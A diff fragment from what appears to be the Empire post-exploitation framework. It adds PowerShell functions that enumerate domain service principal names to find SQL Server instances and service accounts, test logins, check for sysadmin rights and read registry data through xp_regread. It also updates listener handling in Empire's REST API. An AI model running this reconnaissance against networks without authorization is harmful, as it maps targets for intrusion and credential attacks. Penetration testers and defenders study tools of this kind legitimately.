$SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)"
|
||||||
|
}
|
||||||
|
$SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password
|
||||||
|
$SpnResults | % -Process {
|
||||||
|
[string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ')
|
||||||
|
[string]$SidString = $SidBytes -replace ' ', ''
|
||||||
|
$Spn = $_.properties.serviceprincipalname.split(',')
|
||||||
|
foreach ($item in $Spn) {
|
||||||
|
$SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0]
|
||||||
|
$SpnService = $item.split('/')[0]
|
||||||
|
if ($_.properties.lastlogon) {
|
||||||
|
$LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g')
|
||||||
|
} else {
|
||||||
|
$LastLogon = ''
|
||||||
|
}
|
||||||
|
$null = $TableDomainSpn.Rows.Add(
|
||||||
|
[string]$SidString,
|
||||||
|
[string]$_.properties.samaccountname,
|
||||||
|
[string]$_.properties.cn,
|
||||||
|
[string]$SpnService,
|
||||||
|
[string]$SpnServer,
|
||||||
|
[string]$item,
|
||||||
|
$LastLogon,
|
||||||
|
[string]$_.properties.description
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
"Error was $_"
|
||||||
|
$line = $_.InvocationInfo.ScriptLineNumber
|
||||||
|
"Error was in Line $line"
|
||||||
|
}
|
||||||
|
} End {
|
||||||
|
if ($TableDomainSpn.Rows.Count -gt 0) {
|
||||||
|
$TableDomainSpnCount = $TableDomainSpn.Rows.Count
|
||||||
|
if(-not $SuppressVerbose) {
|
||||||
|
"$TableDomainSpnCount SPNs found on servers that matched search criteria."
|
||||||
|
}
|
||||||
|
Return $TableDomainSpn
|
||||||
|
} else {
|
||||||
|
'0 SPNs found.'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLInstanceDomain {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain user to authenticate with domain\user.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain password to authenticate with domain\user.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
|
||||||
|
[string]$DomainController,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Computer name to filter for.')]
|
||||||
|
[string]$ComputerName,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain account to filter for.')]
|
||||||
|
[string]$DomainAccount,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')]
|
||||||
|
[switch]$CheckMgmt,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')]
|
||||||
|
[int]$UDPTimeOut = 3
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblSQLServerSpns = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TblSQLServerSpns.Columns.Add('ComputerName')
|
||||||
|
$null = $TblSQLServerSpns.Columns.Add('Instance')
|
||||||
|
$null = $TblSQLServerSpns.Columns.Add('DomainAccountSid')
|
||||||
|
$null = $TblSQLServerSpns.Columns.Add('DomainAccount')
|
||||||
|
$null = $TblSQLServerSpns.Columns.Add('DomainAccountCn')
|
||||||
|
$null = $TblSQLServerSpns.Columns.Add('Service')
|
||||||
|
$null = $TblSQLServerSpns.Columns.Add('Spn')
|
||||||
|
$null = $TblSQLServerSpns.Columns.Add('LastLogon')
|
||||||
|
$null = $TblSQLServerSpns.Columns.Add('Description')
|
||||||
|
} Process {
|
||||||
|
"Grabbing SPNs from the domain for SQL Servers (MSSQL*)..."
|
||||||
|
$TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose |
|
||||||
|
? -FilterScript { $_.service -like 'MSSQL*' }
|
||||||
|
"Parsing SQL Server instances from SPNs..."
|
||||||
|
$TblSQLServers | % -Process {
|
||||||
|
$Spn = $_.Spn
|
||||||
|
$Instance = $Spn.split('/')[1].split(':')[1]
|
||||||
|
$Value = 0
|
||||||
|
if([int32]::TryParse($Instance,[ref]$Value)) {
|
||||||
|
$SpnServerInstance = $Spn -replace ':', ','
|
||||||
|
} else {
|
||||||
|
$SpnServerInstance = $Spn -replace ':', '\'
|
||||||
|
}
|
||||||
|
$SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', ''
|
||||||
|
$null = $TblSQLServerSpns.Rows.Add(
|
||||||
|
[string]$_.ComputerName,
|
||||||
|
[string]$SpnServerInstance,
|
||||||
|
$_.UserSid,
|
||||||
|
[string]$_.User,
|
||||||
|
[string]$_.Usercn,
|
||||||
|
[string]$_.Service,
|
||||||
|
[string]$_.Spn,
|
||||||
|
$_.LastLogon,
|
||||||
|
[string]$_.Description)
|
||||||
|
}
|
||||||
|
if($CheckMgmt) {
|
||||||
|
"Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)..."
|
||||||
|
$TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose |
|
||||||
|
? -FilterScript { $_.ComputerName -like '*.*' } | select -Property ComputerName -Unique | sort -Property ComputerName
|
||||||
|
"Performing a UDP scan of management servers to obtain managed SQL Server instances..."
|
||||||
|
$TblMgmtSQLServers = $TblMgmtServers | select -Property ComputerName -Unique | Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut
|
||||||
|
}
|
||||||
|
} End {
|
||||||
|
if($CheckMgmt) {
|
||||||
|
"Parsing SQL Server instances from the UDP scan..."
|
||||||
|
$Tbl1 = $TblMgmtSQLServers |
|
||||||
|
Select-Object -Property ComputerName, Instance |
|
||||||
|
Sort-Object -Property ComputerName, Instance
|
||||||
|
$Tbl2 = $TblSQLServerSpns |
|
||||||
|
Select-Object -Property ComputerName, Instance |
|
||||||
|
Sort-Object -Property ComputerName, Instance
|
||||||
|
$Tbl3 = $Tbl1 + $Tbl2
|
||||||
|
$InstanceCount = $Tbl3.rows.count
|
||||||
|
"$InstanceCount instances were found."
|
||||||
|
ForEach ($Row in $Tbl3){
|
||||||
|
"ComputerName : " + $Row.ComputerName
|
||||||
|
"Instance : " + $Row.Instance
|
||||||
|
""
|
||||||
|
}
|
||||||
|
$Tbl3
|
||||||
|
} else {
|
||||||
|
$InstanceCount = $TblSQLServerSpns.rows.count
|
||||||
|
"$InstanceCount instances were found."
|
||||||
|
ForEach ($Row in $TblSQLServerSpns) {
|
||||||
|
"ComputerName : " + $Row.ComputerName
|
||||||
|
"Instance : " + $Row.Instance
|
||||||
|
"DomainAccountSid : " + $Row.DomainAccountSid
|
||||||
|
"DomainAccount : " + $Row.DomainAccount
|
||||||
|
"DomainAccountCn : " + $Row.DomainAccountCn
|
||||||
|
"Service : " + $Row.Service
|
||||||
|
"Spn : " + $Row.Spn
|
||||||
|
"LastLogon : " + $Row.LastLogon
|
||||||
|
"Description : " + $Row.Description
|
||||||
|
""
|
||||||
|
}
|
||||||
|
$TblSQLServerSpns
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,426 @@
|
||||||
|
Function Get-ComputerNameFromInstance {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance.')]
|
||||||
|
[string]$Instance
|
||||||
|
)
|
||||||
|
If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]}
|
||||||
|
else{$ComputerName = $env:COMPUTERNAME}
|
||||||
|
Return $ComputerName
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLConnectionObject {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[string]$TimeOut = 1
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''}
|
||||||
|
if(-not $Database){$Database = 'Master'}
|
||||||
|
} Process {
|
||||||
|
if (-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
|
||||||
|
if(-not $Username) {
|
||||||
|
$AuthenticationType = "Current Windows Credentials"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
|
||||||
|
}
|
||||||
|
if ($username -like "*\*") {
|
||||||
|
$AuthenticationType = "Provided Windows Credentials"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut"
|
||||||
|
}
|
||||||
|
if (($username) -and ($username -notlike "*\*")) {
|
||||||
|
$AuthenticationType = "Provided SQL Login"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
|
||||||
|
}
|
||||||
|
return $Connection
|
||||||
|
} End {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLConnectionTest {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[string]$TimeOut
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TblResults.Columns.Add('ComputerName')
|
||||||
|
$null = $TblResults.Columns.Add('Instance')
|
||||||
|
$null = $TblResults.Columns.Add('Status')
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
if($DAC) {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database
|
||||||
|
} else {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
$Connection.Open()
|
||||||
|
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
} catch {
|
||||||
|
$ErrorMessage = $_.Exception.Message
|
||||||
|
"$Instance : Connection Failed."
|
||||||
|
"Error: $ErrorMessage"
|
||||||
|
}
|
||||||
|
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
|
||||||
|
} End {
|
||||||
|
$TblResults
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLSession {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'PrincipalName.')]
|
||||||
|
[string]$PrincipalName
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblSessions = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TblSessions.Columns.Add('ComputerName')
|
||||||
|
$null = $TblSessions.Columns.Add('Instance')
|
||||||
|
$null = $TblSessions.Columns.Add('PrincipalSid')
|
||||||
|
$null = $TblSessions.Columns.Add('PrincipalName')
|
||||||
|
$null = $TblSessions.Columns.Add('OriginalPrincipalName')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionId')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionStartTime')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionLoginTime')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionStatus')
|
||||||
|
if($PrincipalName) {
|
||||||
|
$PrincipalNameFilter = " and login_name like '$PrincipalName'"
|
||||||
|
} else {
|
||||||
|
$PrincipalNameFilter = ''
|
||||||
|
}
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript {
|
||||||
|
$_.Status -eq 'Accessible'
|
||||||
|
}
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
"$Instance : Connection Failed."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
$Query = " USE master;
|
||||||
|
SELECT '$ComputerName' as [ComputerName],
|
||||||
|
'$Instance' as [Instance],
|
||||||
|
security_id as [PrincipalSid],
|
||||||
|
login_name as [PrincipalName],
|
||||||
|
original_login_name as [OriginalPrincipalName],
|
||||||
|
session_id as [SessionId],
|
||||||
|
last_request_start_time as [SessionStartTime],
|
||||||
|
login_time as [SessionLoginTime],
|
||||||
|
status as [SessionStatus]
|
||||||
|
FROM [sys].[dm_exec_sessions]
|
||||||
|
ORDER BY status
|
||||||
|
$PrincipalNameFilter"
|
||||||
|
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
$TblResults | % -Process {
|
||||||
|
if ($NewSid) {
|
||||||
|
$NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
|
||||||
|
if ($NewSid.length -le 10) {
|
||||||
|
$Sid = [Convert]::ToInt32($NewSid,16)
|
||||||
|
} else {
|
||||||
|
$Sid = $NewSid
|
||||||
|
}
|
||||||
|
$null = $TblSessions.Rows.Add(
|
||||||
|
[string]$_.ComputerName,
|
||||||
|
[string]$_.Instance,
|
||||||
|
$Sid,
|
||||||
|
[string]$_.PrincipalName,
|
||||||
|
[string]$_.OriginalPrincipalName,
|
||||||
|
[string]$_.SessionId,
|
||||||
|
[string]$_.SessionStartTime,
|
||||||
|
[string]$_.SessionLoginTime,
|
||||||
|
[string]$_.SessionStatus)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} End {
|
||||||
|
$TblSessions
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLSysadminCheck {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblSysadminStatus = New-Object -TypeName System.Data.DataTable
|
||||||
|
if($CredentialName) {
|
||||||
|
$CredentialNameFilter = " WHERE name like '$CredentialName'"
|
||||||
|
} else {
|
||||||
|
$CredentialNameFilter = ''
|
||||||
|
}
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password |
|
||||||
|
? -FilterScript { $_.Status -eq 'Accessible' }
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
"$Instance : Connection Failed."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
$Query = "SELECT '$ComputerName' as [ComputerName],
|
||||||
|
'$Instance' as [Instance],
|
||||||
|
CASE
|
||||||
|
WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
|
||||||
|
ELSE 'Yes'
|
||||||
|
END as IsSysadmin"
|
||||||
|
$TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
$TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp
|
||||||
|
} End {
|
||||||
|
$TblSysadminStatus
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLQuery {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server query.')]
|
||||||
|
[string]$Query,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[int]$TimeOut,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Return error message if exists.')]
|
||||||
|
[switch]$ReturnError
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblQueryResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
} Process {
|
||||||
|
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database}
|
||||||
|
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database}
|
||||||
|
$ConnectionString = $Connection.Connectionstring
|
||||||
|
$Instance = $ConnectionString.split(';')[0].split('=')[1]
|
||||||
|
if($Query) {
|
||||||
|
$Connection.Open()
|
||||||
|
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
|
||||||
|
try {
|
||||||
|
$Results = $Command.ExecuteReader()
|
||||||
|
$TblQueryResults.Load($Results)
|
||||||
|
} catch {
|
||||||
|
# pass
|
||||||
|
}
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
}
|
||||||
|
else{'No query provided to Get-SQLQuery function.';Break}
|
||||||
|
} End {
|
||||||
|
if($ReturnError){$ErrorMessage}
|
||||||
|
else{$TblQueryResults}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLServerInfo {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblServerInfo = New-Object -TypeName System.Data.DataTable
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password |
|
||||||
|
? -FilterScript {
|
||||||
|
$_.Status -eq 'Accessible'
|
||||||
|
}
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
"$Instance : Connection Failed."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
$ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password |
|
||||||
|
? -FilterScript { $_.SessionStatus -eq 'running' } | measure -Line | select -Property Lines -ExpandProperty Lines
|
||||||
|
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password
|
||||||
|
if($IsSysadmin.IsSysadmin -eq 'Yes') {
|
||||||
|
$SysadminSetup = "
|
||||||
|
DECLARE @MachineType SYSNAME
|
||||||
|
EXECUTE master.dbo.xp_regread
|
||||||
|
@rootkey = N'HKEY_LOCAL_MACHINE',
|
||||||
|
@key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
|
||||||
|
@value_name = N'ProductType',
|
||||||
|
@value = @MachineType output
|
||||||
|
DECLARE @ProductName SYSNAME
|
||||||
|
EXECUTE master.dbo.xp_regread
|
||||||
|
@rootkey = N'HKEY_LOCAL_MACHINE',
|
||||||
|
@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
|
||||||
|
@value_name = N'ProductName',
|
||||||
|
@value = @ProductName output"
|
||||||
|
$SysadminQuery = ' @MachineType as [OsMachineType],
|
||||||
|
@ProductName as [OSVersionName],'
|
||||||
|
} else {
|
||||||
|
$SysadminSetup = ''
|
||||||
|
$SysadminQuery = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
$Query = "
|
||||||
|
DECLARE @SQLServerInstance varchar(250)
|
||||||
|
DECLARE @SQLServerServiceName varchar(250)
|
||||||
|
if @@SERVICENAME = 'MSSQLSERVER'
|
||||||
|
BEGIN
|
||||||
|
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
|
||||||
|
set @SQLServerServiceName = 'MSSQLSERVER'
|
||||||
|
END
|
||||||
|
ELSE
|
||||||
|
BEGIN
|
||||||
|
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
|
||||||
|
set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
|
||||||
|
END
|
||||||
|
|
||||||
|
DECLARE @ServiceaccountName varchar(250)
|
||||||
|
EXECUTE master.dbo.xp_instance_regread
|
||||||
|
N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
|
||||||
|
N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
|
||||||
|
|
||||||
|
DECLARE @AuthenticationMode INT
|
||||||
|
EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
|
||||||
|
N'Software\Microsoft\MSSQLServer\MSSQLServer',
|
||||||
|
N'LoginMode', @AuthenticationMode OUTPUT
|
||||||
|
|
||||||
|
$SysadminSetup
|
||||||
|
|
||||||
|
SELECT '$ComputerName' as [ComputerName],
|
||||||
|
@@servername as [Instance],
|
||||||
|
DEFAULT_DOMAIN() as [DomainName],
|
||||||
|
@SQLServerServiceName as [ServiceName],
|
||||||
|
@ServiceAccountName as [ServiceAccount],
|
||||||
|
(SELECT CASE @AuthenticationMode
|
||||||
|
WHEN 1 THEN 'Windows Authentication'
|
||||||
|
WHEN 2 THEN 'Windows and SQL Server Authentication'
|
||||||
|
ELSE 'Unknown'
|
||||||
|
END) as [AuthenticationMode],
|
||||||
|
CASE SERVERPROPERTY('IsClustered')
|
||||||
|
WHEN 0
|
||||||
|
THEN 'No'
|
||||||
|
ELSE 'Yes'
|
||||||
|
END as [Clustered],
|
||||||
|
SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
|
||||||
|
SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
|
||||||
|
serverproperty('Edition') as [SQLServerEdition],
|
||||||
|
SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
|
||||||
|
SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
|
||||||
|
$SysadminQuery
|
||||||
|
RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
|
||||||
|
SYSTEM_USER as [Currentlogin],
|
||||||
|
'$IsSysadmin' as [IsSysadmin],
|
||||||
|
'$ActiveSessions' as [ActiveSessions]"
|
||||||
|
$TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
$TblServerInfo = $TblServerInfo + $TblServerInfoTemp
|
||||||
|
ForEach ($Row in $TblServerInfo) {
|
||||||
|
"ComputerName : " + $Row.ComputerName
|
||||||
|
"Instance : " + $Row.Instance
|
||||||
|
"DomainName : " + $Row.DomainName
|
||||||
|
"ServiceName : " + $Row.ServiceName
|
||||||
|
"ServiceAccount : " + $Row.ServiceAccount
|
||||||
|
"AuthenticationMode : " + $Row.AuthenticationMode
|
||||||
|
"Clustered : " + $Row.Clustered
|
||||||
|
"SQLServerVersionNumber : " + $Row.SQLServerVersionNumber
|
||||||
|
"SQLServerMajorVersion : " + $Row.SQLServerMajorVersion
|
||||||
|
"SQLServerEdition : " + $Row.SQLServerEdition
|
||||||
|
"SQLServerServicePack : " + $Row.SQLServerServicePack
|
||||||
|
"OSArchitecture : " + $Row.OSArchitecture
|
||||||
|
"OsMachineType : " + $Row.OsMachineType
|
||||||
|
"OSVersionName : " + $Row.OSVersionName
|
||||||
|
"OsVersionNumber : " + $Row.OsVersionNumber
|
||||||
|
"Currentlogin : " + $Row.Currentlogin
|
||||||
|
"IsSysadmin : " + $IsSysadmin.IsSysadmin
|
||||||
|
"ActiveSessions : " + $Row.ActiveSessions
|
||||||
|
""
|
||||||
|
}
|
||||||
|
|
||||||
|
} End {
|
||||||
|
}
|
||||||
|
}
|
4
empire
4
empire
|
@ -647,9 +647,9 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
||||||
listeners = []
|
listeners = []
|
||||||
|
|
||||||
for activeListener in activeListenersRaw:
|
for activeListener in activeListenersRaw:
|
||||||
[ID, name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit] = activeListener
|
[ID, name, module, listener_type, listener_category, options] = activeListener
|
||||||
# activeListeners[name] = {'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit}
|
# activeListeners[name] = {'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit}
|
||||||
listeners.append({'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit})
|
